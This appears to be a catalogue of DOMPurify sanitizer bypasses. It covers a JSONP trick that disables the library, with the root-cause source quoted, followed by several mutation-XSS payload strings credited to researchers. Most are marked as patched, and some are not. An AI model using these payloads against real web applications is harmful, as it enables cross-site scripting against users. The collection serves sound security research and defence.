DOMPurify - a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG. DOMPurify works with a secure default, but offers a lot of configurability and hooks. https://cure53.de/purify
In case it is possible to execute limited arbitrary javascript code, like on a /[\w\s.]/
jsonp endpoint, it is possible to delete document.implementation.__proto__.createHTMLDocument
before DOMPurify is loaded to disable DOMPurify.
<!-- user input -->
<!-- Act like this is a JSONP endpoint -->
<script src="https://gmsgadget.com/assets/xss/dompurify-jsonp-1.js?callback=delete document.implementation.__proto__.createHTMLDocument"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.6/purify.min.js"></script>
<script>
// user input
const clean = DOMPurify.sanitize("<img src=x onerror=alert(document.domain)>");
document.body.innerHTML = clean;
</script>
The same can be done after DOMPurify is loaded, by deleting DOMPurify.isSupported
.
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.6/purify.min.js"></script>
<!-- user input -->
<!-- Act like this is a JSONP endpoint -->
<script src="https://gmsgadget.com/assets/xss/dompurify-jsonp-2.js?callback=delete DOMPurify.isSupported"></script>
<script>
// user input
const clean = DOMPurify.sanitize("<img src=x onerror=alert(document.domain)>");
document.body.innerHTML = clean;
</script>
Root Cause
Source: https://github.com/cure53/DOMPurify/blob/ec86d9068d4f5a2505b85e12cff9921f304bdda7/src/purify.ts#L193
DOMPurify.isSupported =
typeof entries === 'function' &&
typeof getParentNode === 'function' &&
implementation &&
implementation.createHTMLDocument !== undefined;
if (!DOMPurify.isSupported) {
return dirty;
}
Related links:
Found by @parrot409, @xssjp.
Default configuration bypass.
This bypass no longer works since <
and >
are now encoded when serializing a DOM Tree (spec, chromium, safari, firefox) making “attribute” based mXSS no longer possible…
<form id="x ">
<r*504>
<a>
<svg>
<desc>
<svg>
<image>
<a>
<desc>
<svg>
<image></image>
</svg>
</desc>
</a>
</image>
<style><a id="</style><img src=x onerror=alert(1)>"></a></style>
</svg>
</desc>
</svg>
</a>
</form>
<input form="x" name="__depth">
Related links:
Found by @kevin_mizu.
Default configuration bypass.
This bypass no longer works since <
and >
are now encoded when serializing a DOM Tree (spec, chromium, safari, firefox) making “attribute” based mXSS no longer possible…
<div*200>
<form><input name="parentNode">
<div*200>
<form></form><form><input name="parentNode">
<div*105>
<table>
<caption>
<svg>
<desc>
<table><caption></caption></table>
</desc>
<style><a title="</svg></style><img src onerror=alert(1)>"></a></style>
</svg>
</caption>
</table>
Related links:
Found by @kevin_mizu.
Default configuration bypass.
This bypass no longer works since <
and >
are now encoded when serializing a DOM Tree (spec, chromium, safari, firefox) making “attribute” based mXSS no longer possible…
<div*506>
<table>
<caption>
<svg>
<title>
<table><caption></caption></table>
</title>
<style><a id="</style><img src=x onerror=alert()>"></a></style>
</svg>
</caption>
</table>
Related links:
Found by @IcesFont.
Default configuration bypass.
This bypass no longer works since <
and >
are now encoded when serializing a DOM Tree (spec, chromium, safari, firefox) making “attribute” based mXSS no longer possible…
<math><mtext><h1><a><h6></a></h6><mglyph><svg><mtext><style><a title="</style><img src onerror='alert(1)'>"></style></h1>
Related links:
Default configuration bypass.
This bypass no longer works since <
and >
are now encoded when serializing a DOM Tree (spec, chromium, safari, firefox) making “attribute” based mXSS no longer possible…
<form><math><mtext></form><form><mglyph><svg><mtext><style><path id="</style><img onerror=alert(1) src>">
Related links:
Default configuration bypass.
This bypass no longer works since <
and >
are now encoded when serializing a DOM Tree (spec, chromium, safari, firefox) making “attribute” based mXSS no longer possible…
<math><mtext><table><mglyph><style><!--</style><img title="--></mglyph><img	src=1	onerror=alert(1)>">
Related links:
Found by @garethheyes.
Default configuration bypass.
<form><math><mtext></form><form><mglyph><style></math><img src onerror=alert(1)>
<math><mtext><table><mglyph><style><math><table id="</table>"><img src onerror=alert(1)">
Related links:
Found by @securitymb.
Default configuration bypass.
This bypass no longer works since <
and >
are now encoded when serializing a DOM Tree (spec, chromium, safari, firefox) making “attribute” based mXSS no longer possible…
<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">
<math></p><style><a id="</style><img src=1 onerror=alert(1)>">
Related links:
Found by @securitymb.